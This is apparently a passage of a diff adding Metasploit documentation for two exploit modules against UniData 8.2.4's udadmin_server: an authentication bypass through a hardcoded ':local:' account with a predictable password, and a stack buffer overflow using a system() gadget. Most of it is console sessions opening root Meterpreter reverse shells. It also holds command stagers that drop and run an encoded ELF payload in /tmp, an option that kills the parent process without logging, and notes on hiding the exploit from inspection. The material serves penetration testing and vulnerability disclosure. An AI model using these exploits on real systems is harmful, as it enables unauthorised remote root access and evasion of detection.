[*] Sending stage (3045348 bytes) to 192.168.123.16
|
||||
[+] Deleted /tmp/oMNw.sh
|
||||
[+] Deleted /tmp/FsMoUmqB.sh
|
||||
[*] Meterpreter session 10 opened (192.168.123.1:4443 -> 192.168.123.16:53838) at 2023-04-07 10:38:34 -0400
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : access01.corp.local
|
||||
OS : VMware Photon OS 3.0 (Linux 4.19.217-1.ph3)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
```
|
||||
@@ -0,0 +1,361 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Exploits a built-in username/password combination in `udadmin_server`, which is
|
||||
the administrator server for UniData (and possibly other services). It's
|
||||
accessed via the RPC service `unirpcd`.
|
||||
|
||||
A special username `:local:` is hardcoded into the application. If a user
|
||||
attempts to remotely authenticate as `:local:`, the password is fully
|
||||
predictable; it's made up of `<username>:<uid>:<gid>`, where the fields are:
|
||||
|
||||
* `username` - a username on the target host (eg, "root")
|
||||
* `uid` - the corresponding user id (eg, 0 for "root")
|
||||
* `gid` - any non-zero group id
|
||||
|
||||
If the user authenticates to the RPC service with this account, the username
|
||||
and uid are validated, then the service will drop privileges to the given
|
||||
account. Then the user can access any of the `udadmin_server` commands,
|
||||
including `OsCommand`, which executes a Linux shell command.
|
||||
|
||||
The vulnerable application is `udadmin_server`, which is an RPC service that's
|
||||
run as part of `unirpcd`, which powers Rocket Software's UniData application
|
||||
(among others). The specific software is UniData 8.2.4.3001 for Linux. We
|
||||
haven't tested any other versions (except for Windows, which is not
|
||||
vulnerable).
|
||||
|
||||
The UniData software can be downloaded for free, but you have to request a demo
|
||||
copy and wait for an email to arrive. I can provide the installation files if
|
||||
needed.
|
||||
|
||||
The software is distributed as a .zip file, which contains a .tar file:
|
||||
|
||||
```
|
||||
[ron@unidata unidata]$ unzip Unidata\ Personal\ X86_8.2.4.3001.zip
|
||||
Archive: Unidata Personal X86_8.2.4.3001.zip
|
||||
inflating: bin.tar
|
||||
inflating: UniData_Hotfix_V824_3001.pdf
|
||||
inflating: UniData_Release_Notes_v824.pdf
|
||||
|
||||
[ron@unidata unidata]$ tar -xf bin.tar
|
||||
|
||||
[ron@unidata unidata]$ sudo ./udtsetup
|
||||
|
||||
[default options, set directories]
|
||||
|
||||
CheckLang Yes
|
||||
CheckPerms No
|
||||
Group sys
|
||||
InstallXDEMO Yes
|
||||
LibDir /home/ron/unidata/unidata/lib
|
||||
Startud Yes
|
||||
UdtBin /home/ron/unidata/unidata/bin
|
||||
UdtHome /home/ron/unidata/unidata
|
||||
UnisharedDir /home/ron/unidata/unishared
|
||||
WorkDir /home/ron/unidata/unidata/work
|
||||
```
|
||||
|
||||
I think it will automatically start the first time you install the software,
|
||||
but to run it after a reboot (note that this must be done as root):
|
||||
|
||||
```
|
||||
# export UDTBIN=/home/ron/unidata/unidata/bin
|
||||
# export UDTHOME=/home/ron/unidata/unidata
|
||||
# export PATH=$PATH:$UDTBIN
|
||||
# export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$UDTBIN
|
||||
# export LANG=C
|
||||
# startud
|
||||
```
|
||||
|
||||
(This module will not work at all against the Windows version)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application (software and instructions are on Vulnerable Software drive)
|
||||
1. Start msfconsole
|
||||
1. Do: `use exploit/linux/misc/unidata_udadmin_auth_bypass`
|
||||
1. Do: set `RHOST`, `LHOST`, and payload if desired
|
||||
1. Do: `run`
|
||||
1. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
### `UNIRPC_USERNAME`
|
||||
|
||||
The local username to use when authenticating. It must correspond to a Linux
|
||||
account on the target host (it will be passed to `getpwnam(3)`, which must
|
||||
recognize it). Generally, the default (`root`) works perfectly fine.
|
||||
|
||||
### `UNIRPC_UID`
|
||||
|
||||
The Linux user id that the service will run your command as. It must be the
|
||||
user id that corresponds to the `UNIRPC_USERNAME`. The default (`0`) generally
|
||||
works perfectly fine if `UNIRPC_USERNAME` is `root`.
|
||||
|
||||
### `UNIRPC_GID`
|
||||
|
||||
The Linux group id that the service will run your command as. Cannot be `0`,
|
||||
but any other value works fine. The default (`1000`) probably looks the least
|
||||
weird.
|
||||
|
||||
### `UNIRPC_ENDPOINT`
|
||||
|
||||
The RPC endpoint to connect to. The default (`udadmin`) as well as `udadmin82`
|
||||
should work. It's unlikely anything else will work.
|
||||
|
||||
### `UNIRPC_ENCODE_MESSAGES`
|
||||
|
||||
A boolean, defined in the `unirpc.rb` mixin, that turns UniRPC's packet-body
|
||||
encoding on or off. Default is `true`.
|
||||
|
||||
In the UniRPC header, there is a bit that enables packet encoding. If set, the
|
||||
packet body is XOR'd with either 1 or 2, depending on another header field.
|
||||
While it's not strong encoding by any means, it does hide the exploit from
|
||||
passive inspection. We set the encoding the XOR'ing with 2 by default.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Version 8.2.4 with root user, unix command target
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/misc/unidata_udadmin_auth_bypass
|
||||
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
|
||||
|
||||
msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set LHOST ens160
|
||||
LHOST => ens160
|
||||
|
||||
msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set RHOST 10.0.0.198
|
||||
RHOST => 10.0.0.198
|
||||
|
||||
msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set UNIDATA_VERSION 8.2.4
|
||||
[-] Unknown datastore option: UNIDATA_VERSION.
|
||||
|
||||
msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set VERBOSE true
|
||||
VERBOSE => true
|
||||
|
||||
msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > show options
|
||||
|
||||
Module options (exploit/linux/misc/unidata_udadmin_auth_bypass):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
RHOSTS 10.0.0.198 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 31438 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL for incoming connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
UNIRPC_GID 1000 yes gid to authenticate with (must not be 0, does not need to correspond to the username)
|
||||
UNIRPC_UID 0 yes Linux uid to authenticate with (must correspond to the username)
|
||||
UNIRPC_USERNAME root yes Linux username to authenticate with (must match the uid)
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
|
||||
|
||||
When CMDSTAGER::FLAVOR is one of auto,certutil,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
|
||||
|
||||
Payload options (cmd/unix/python/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST ens160 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Unix Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.227:4444
|
||||
[*] 10.0.0.198:31438 - Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] 10.0.0.198:31438 - Trying to get version number from service defcs...
|
||||
[*] 10.0.0.198:31438 - Detected UniRPC version 8.2.4 is running
|
||||
[!] 10.0.0.198:31438 - The service is running, but could not be validated.
|
||||
[*] 10.0.0.198:31438 - Connecting to UniRPC endpoint udadmin
|
||||
[*] 10.0.0.198:31438 - Authenticating to RPC service as :local: / root:0:1000
|
||||
[*] 10.0.0.198:31438 - Sending OsCommand request
|
||||
[*] Sending stage (24772 bytes) to 10.0.0.198
|
||||
[*] Meterpreter session 1 opened (10.0.0.227:4444 -> 10.0.0.198:54560) at 2023-04-11 09:36:56 -0700
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
```
|
||||
|
||||
### Version 8.2.4 with invalid user
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/misc/unidata_udadmin_auth_bypass
|
||||
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
|
||||
|
||||
msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set LHOST ens160
|
||||
LHOST => ens160
|
||||
|
||||
msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set RHOST 10.0.0.198
|
||||
RHOST => 10.0.0.198
|
||||
|
||||
msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set UNIDATA_VERSION 8.2.4
|
||||
[-] Unknown datastore option: UNIDATA_VERSION.
|
||||
|
||||
msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set VERBOSE true
|
||||
VERBOSE => true
|
||||
|
||||
msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set UNIRPC_USERNAME fake
|
||||
UNIRPC_USERNAME => fake
|
||||
|
||||
msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > show options
|
||||
|
||||
Module options (exploit/linux/misc/unidata_udadmin_auth_bypass):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
RHOSTS 10.0.0.198 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 31438 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL for incoming connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
UNIRPC_GID 1000 yes gid to authenticate with (must not be 0, does not need to correspond to the username)
|
||||
UNIRPC_UID 0 yes Linux uid to authenticate with (must correspond to the username)
|
||||
UNIRPC_USERNAME fake yes Linux username to authenticate with (must match the uid)
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
|
||||
|
||||
When CMDSTAGER::FLAVOR is one of auto,certutil,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
|
||||
|
||||
Payload options (cmd/unix/python/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST ens160 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Unix Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.227:4444
|
||||
[*] 10.0.0.198:31438 - Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] 10.0.0.198:31438 - Trying to get version number from service defcs...
|
||||
[*] 10.0.0.198:31438 - Detected UniRPC version 8.2.4 is running
|
||||
[!] 10.0.0.198:31438 - The service is running, but could not be validated.
|
||||
[*] 10.0.0.198:31438 - Connecting to UniRPC endpoint udadmin
|
||||
[*] 10.0.0.198:31438 - Authenticating to RPC service as :local: / fake:0:1000
|
||||
[-] 10.0.0.198:31438 - Exploit aborted due to failure: unexpected-reply: UniRPC server returned something unexpected: UniRPC server returned an error code: Unknown error: 80011
|
||||
[*] Exploit completed, but no session was created.
|
||||
```
|
||||
|
||||
### Version 8.2.4 with non-root user, unix command target
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/misc/unidata_udadmin_auth_bypass
|
||||
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
|
||||
|
||||
msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set LHOST ens160
|
||||
LHOST => ens160
|
||||
|
||||
msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set RHOST 10.0.0.198
|
||||
RHOST => 10.0.0.198
|
||||
|
||||
msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set UNIDATA_VERSION 8.2.4
|
||||
[-] Unknown datastore option: UNIDATA_VERSION.
|
||||
|
||||
msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set VERBOSE true
|
||||
VERBOSE => true
|
||||
|
||||
msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set UNIRPC_USERNAME ron
|
||||
UNIRPC_USERNAME => ron
|
||||
|
||||
msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set UNIRPC_UID 1000
|
||||
UNIRPC_UID => 1000
|
||||
|
||||
msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.227:4444
|
||||
[*] 10.0.0.198:31438 - Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] 10.0.0.198:31438 - Trying to get version number from service defcs...
|
||||
[*] 10.0.0.198:31438 - Detected UniRPC version 8.2.4 is running
|
||||
[!] 10.0.0.198:31438 - The service is running, but could not be validated.
|
||||
[*] 10.0.0.198:31438 - Connecting to UniRPC endpoint udadmin
|
||||
[*] 10.0.0.198:31438 - Authenticating to RPC service as :local: / ron:1000:1000
|
||||
[*] 10.0.0.198:31438 - Sending OsCommand request
|
||||
[*] Sending stage (24772 bytes) to 10.0.0.198
|
||||
[*] Meterpreter session 2 opened (10.0.0.227:4444 -> 10.0.0.198:54562) at 2023-04-11 09:39:14 -0700
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: ron
|
||||
```
|
||||
|
||||
### Version 8.2.4 as root, with unix dropper target
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/misc/unidata_udadmin_auth_bypass
|
||||
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
|
||||
|
||||
msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > show targets
|
||||
|
||||
Exploit targets:
|
||||
=================
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
=> 0 Unix Command
|
||||
1 Linux Dropper
|
||||
|
||||
|
||||
msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set TARGET 1
|
||||
TARGET => 1
|
||||
|
||||
msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
|
||||
PAYLOAD => linux/x64/meterpreter/reverse_tcp
|
||||
|
||||
msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set LHOST ens160
|
||||
LHOST => ens160
|
||||
|
||||
msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set RHOST 10.0.0.198
|
||||
RHOST => 10.0.0.198
|
||||
|
||||
msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > set VERBOSE true
|
||||
VERBOSE => true
|
||||
|
||||
msf6 exploit(linux/misc/unidata_udadmin_auth_bypass) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.227:4444
|
||||
[*] 10.0.0.198:31438 - Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] 10.0.0.198:31438 - Trying to get version number from service defcs...
|
||||
[*] 10.0.0.198:31438 - Detected UniRPC version 8.2.4 is running
|
||||
[!] 10.0.0.198:31438 - The service is running, but could not be validated.
|
||||
[*] 10.0.0.198:31438 - Connecting to UniRPC endpoint udadmin
|
||||
[*] 10.0.0.198:31438 - Authenticating to RPC service as :local: / root:0:1000
|
||||
[*] 10.0.0.198:31438 - Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAGgEAAAAAAAC8AQAAAAAAAAAQAAAAAAAAajlYDwVIhcB0CEgx/2o8WA8FBHAPBWo5WA8FSIXAdeox/2oJWJm2EEiJ1k0xyWoiQVpqB1oPBUiFwHhRagpBWVBqKViZagJfagFeDwVIhcB4O0iXSLkCABFcCgAA41FIieZqEFpqKlgPBVlIhcB5JUn/yXQYV2ojWGoAagVIiedIMfYPBVlZX0iFwHnHajxYagFfDwVean5aDwVIhcB47f/m>>'/tmp/AsOOd.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/eFHfW' < '/tmp/AsOOd.b64' ; chmod +x '/tmp/eFHfW' ; '/tmp/eFHfW' ; rm -f '/tmp/eFHfW' ; rm -f '/tmp/AsOOd.b64'"]
|
||||
[*] 10.0.0.198:31438 - Sending OsCommand request
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045348 bytes) to 10.0.0.198
|
||||
[*] 10.0.0.198:31438 - Command Stager progress - 100.00% done (863/863 bytes)
|
||||
[*] Meterpreter session 1 opened (10.0.0.227:4444 -> 10.0.0.198:54564) at 2023-04-11 09:41:57 -0700
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
```
|
||||
@@ -0,0 +1,242 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Exploits a stack-based buffer overflow in `udadmin_server`, which is the
|
||||
administrator server for UniData (and possibly other services). It's accessed
|
||||
via the RPC service `unirpcd`.
|
||||
|
||||
The username and password fields are both copied into a stack-based buffer
|
||||
using a `strcpy`-equivalent function, which has no bounds checking. As a result,
|
||||
we can write any amount of arbitrary data to the stack, including overwriting
|
||||
the return address. What's more - the `password` field is encoded by negating
|
||||
each byte, which means that despite being a `strcpy` overflow, NULL bytes are
|
||||
actually allowed (but 0xFF bytes are not)!
|
||||
|
||||
For our exploit, we found a helpful gadget:
|
||||
|
||||
```
|
||||
412e25: 48 89 e7 mov rdi, rsp
|
||||
412e28: e8 a3 56 ff ff call 4084d0 <system@plt>
|
||||
```
|
||||
|
||||
That will simply pass whatever happens to be on the stack to `system()`.
|
||||
|
||||
The vulnerable application is `udadmin_server`, which is an RPC service that's
|
||||
run as part of `unirpcd`, which powers Rocket Software's UniData application
|
||||
(among others). The specific software is UniData 8.2.4.3001 for Linux, and
|
||||
because this is memory corruption, the sha256sums are:
|
||||
|
||||
```
|
||||
1cae78f2e190fe010b78f793fd98875295928af78e1e7eded5e9702ec08369ad unirpcd
|
||||
5186725bfd4a65b9ca82245702cf387fc5e6c4d4fa4edb9412a9ffebc7400e89 udadmin_server
|
||||
```
|
||||
|
||||
The UniData software can be downloaded for free, but you have to request a demo
|
||||
copy and wait for an email to arrive. I can provide the installation files if
|
||||
needed.
|
||||
|
||||
The software is distributed as a .zip file, which contains a .tar file:
|
||||
|
||||
```
|
||||
[ron@unidata unidata]$ unzip Unidata\ Personal\ X86_8.2.4.3001.zip
|
||||
Archive: Unidata Personal X86_8.2.4.3001.zip
|
||||
inflating: bin.tar
|
||||
inflating: UniData_Hotfix_V824_3001.pdf
|
||||
inflating: UniData_Release_Notes_v824.pdf
|
||||
|
||||
[ron@unidata unidata]$ tar -xf bin.tar
|
||||
|
||||
[ron@unidata unidata]$ sudo ./udtsetup
|
||||
|
||||
[default options, set directories]
|
||||
|
||||
CheckLang Yes
|
||||
CheckPerms No
|
||||
Group sys
|
||||
InstallXDEMO Yes
|
||||
LibDir /home/ron/unidata/unidata/lib
|
||||
Startud Yes
|
||||
UdtBin /home/ron/unidata/unidata/bin
|
||||
UdtHome /home/ron/unidata/unidata
|
||||
UnisharedDir /home/ron/unidata/unishared
|
||||
WorkDir /home/ron/unidata/unidata/work
|
||||
```
|
||||
|
||||
I think it will automatically start the first time you install the software,
|
||||
but to run it after a reboot (note that this must be done as root):
|
||||
|
||||
```
|
||||
# export UDTBIN=/home/ron/unidata/unidata/bin
|
||||
# export UDTHOME=/home/ron/unidata/unidata
|
||||
# export PATH=$PATH:$UDTBIN
|
||||
# export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$UDTBIN
|
||||
# export LANG=C
|
||||
# startud
|
||||
```
|
||||
|
||||
(This module will not work at all against the Windows version)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application (software and instructions are on Vulnerable Software drive)
|
||||
1. Start msfconsole
|
||||
1. Do: `use exploit/linux/misc/unidata_udadmin_password_stack_overflow`
|
||||
1. Do: set `RHOST`, `LHOST`, and payload if desired
|
||||
1. Do: `run`
|
||||
1. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
### `EXIT_CLEANLY`
|
||||
|
||||
Because of how our ROP chain works, it's not possible to exit the application
|
||||
without crashing.
|
||||
|
||||
However, we CAN kill the process with a clean signal when executing our payload,
|
||||
and that's what this option does. It prepends `kill -TERM $PPID &` to the
|
||||
shell payload, which kills the parent in a way that's not logged.
|
||||
|
||||
The default is `true`.
|
||||
|
||||
### `UNIRPC_ENDPOINT`
|
||||
|
||||
The RPC endpoint to connect to. The default (`udadmin`) as well as `udadmin82`
|
||||
should work. It's unlikely anything else will work.
|
||||
|
||||
### `UNIRPC_ENCODE_MESSAGES`
|
||||
|
||||
A boolean, defined in the `unirpc.rb` mixin, that turns UniRPC's packet-body
|
||||
encoding on or off. Default is `true`.
|
||||
|
||||
In the UniRPC header, there is a bit that enables packet encoding. If set, the
|
||||
packet body is XOR'd with either 1 or 2, depending on another header field.
|
||||
While it's not strong encoding by any means, it does hide the exploit from
|
||||
passive inspection. We set the encoding the XOR'ing with 2 by default.
|
||||
|
||||
### `UNIDATA_VERSION`
|
||||
|
||||
An enum, used to select the version for targeting.
|
||||
|
||||
Currently, the only options are `8.2.4` and `auto`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Version 8.2.4 with auto-detection + unix command payload
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/misc/unidata_udadmin_password_stack_overflow
|
||||
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
|
||||
|
||||
msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set LHOST ens160
|
||||
LHOST => ens160
|
||||
|
||||
msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set RHOST 10.0.0.198
|
||||
RHOST => 10.0.0.198
|
||||
|
||||
msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set VERBOSE true
|
||||
VERBOSE => true
|
||||
|
||||
msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.227:4444
|
||||
[*] 10.0.0.198:31438 - Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] 10.0.0.198:31438 - Trying to get version number from service defcs...
|
||||
[*] 10.0.0.198:31438 - Detected UniRPC version 8.2.4 is running
|
||||
[!] 10.0.0.198:31438 - The service is running, but could not be validated.
|
||||
[*] 10.0.0.198:31438 - Using the version number from earlier for targeting: 8.2.4
|
||||
[*] 10.0.0.198:31438 - Connecting to UniRPC endpoint udadmin
|
||||
[*] 10.0.0.198:31438 - Authenticating to RPC service as qvvJpicOdkHUbWXb with a stack-overflowing password
|
||||
[*] 10.0.0.198:31438 - Payload sent
|
||||
[*] Sending stage (24772 bytes) to 10.0.0.198
|
||||
[*] Meterpreter session 1 opened (10.0.0.227:4444 -> 10.0.0.198:54566) at 2023-04-11 09:44:21 -0700
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
```
|
||||
|
||||
### Version 8.2.4 with specific targeting + unix command payload
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/misc/unidata_udadmin_password_stack_overflow
|
||||
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
|
||||
|
||||
msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set LHOST ens160
|
||||
LHOST => ens160
|
||||
|
||||
msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set RHOST 10.0.0.198
|
||||
RHOST => 10.0.0.198
|
||||
|
||||
msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set VERBOSE true
|
||||
VERBOSE => true
|
||||
|
||||
msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set UNIDATA_VERSION 8.2.4
|
||||
UNIDATA_VERSION => 8.2.4
|
||||
msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.227:4444
|
||||
[*] 10.0.0.198:31438 - Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] 10.0.0.198:31438 - Trying to get version number from service defcs...
|
||||
[*] 10.0.0.198:31438 - Detected UniRPC version 8.2.4 is running
|
||||
[!] 10.0.0.198:31438 - The service is running, but could not be validated.
|
||||
[*] 10.0.0.198:31438 - Using the version number from UNIDATA_VERSION for targeting: 8.2.4
|
||||
[*] 10.0.0.198:31438 - Connecting to UniRPC endpoint udadmin
|
||||
[*] 10.0.0.198:31438 - Authenticating to RPC service as iLlQgwIwNzxAxg with a stack-overflowing password
|
||||
[*] 10.0.0.198:31438 - Payload sent
|
||||
[*] Sending stage (24772 bytes) to 10.0.0.198
|
||||
[*] Meterpreter session 2 opened (10.0.0.227:4444 -> 10.0.0.198:54568) at 2023-04-11 09:46:03 -0700
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
```
|
||||
|
||||
### Version 8.2.4 with auto-detection + unix dropper payload
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/misc/unidata_udadmin_password_stack_overflow
|
||||
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
|
||||
|
||||
msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > show targets
|
||||
|
||||
Exploit targets:
|
||||
=================
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
=> 0 Unix Command
|
||||
1 Linux Dropper
|
||||
|
||||
|
||||
msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set TARGET 1
|
||||
TARGET => 1
|
||||
|
||||
msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
|
||||
PAYLOAD => linux/x64/meterpreter/reverse_tcp
|
||||
|
||||
msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set LHOST ens160
|
||||
LHOST => ens160
|
||||
|
||||
msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set RHOST 10.0.0.198
|
||||
RHOST => 10.0.0.198
|
||||
|
||||
msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > set VERBOSE true
|
||||
VERBOSE => true
|
||||
|
||||
msf6 exploit(linux/misc/unidata_udadmin_password_stack_overflow) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.227:4444
|
||||
[*] 10.0.0.198:31438 - Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] 10.0.0.198:31438 - Trying to get version number from service defcs...
|
||||
[*] 10.0.0.198:31438 - Detected UniRPC version 8.2.4 is running
|
||||
[!] 10.0.0.198:31438 - The service is running, but could not be validated.
|
||||
[*] 10.0.0.198:31438 - Using the version number from earlier for targeting: 8.2.4
|
||||
[*] 10.0.0.198:31438 - Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAGgEAAAAAAAC8AQAAAAAAAAAQAAAAAAAAajlYDwVIhcB0CEgx/2o8WA8FBHAPBWo5WA8FSIXAdeox/2oJWJm2EEiJ1k0xyWoiQVpqB1oPBUiFwHhRagpBWVBqKViZagJfagFeDwVIhcB4O0iXSLkCABFcCgAA41FIieZqEFpqKlgPBVlIhcB5JUn/yXQYV2ojWGoAagVIiedIMfYPBVlZX0iFwHnHajxYagFfDwVean5aDwVIhcB47f/m>>'/tmp/dlwwX.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/RiEPX' < '/tmp/dlwwX.b64' ; chmod +x '/tmp/RiEPX' ; '/tmp/RiEPX' ; rm -f '/tmp/RiEPX' ; rm -f '/tmp/dlwwX.b64'"]
|
||||
[*] 10.0.0.198:31438 - Connecting to UniRPC endpoint udadmin
|
||||
[*] 10.0.0.198:31438 - Authenticating to RPC service as fWPgXoZCdnEix with a stack-overflowing password
|
||||
[*] 10.0.0.198:31438 - Payload sent
|
||||
[*] 10.0.0.198:31438 - Command Stager progress - 100.00% done (863/863 bytes)
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045348 bytes) to 10.0.0.198
|
||||
[*] Meterpreter session 3 opened (10.0.0.227:4444 -> 10.0.0.198:54570) at 2023-04-11 09:48:08 -0700
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
```
|
||||
@@ -0,0 +1,155 @@
|
||||
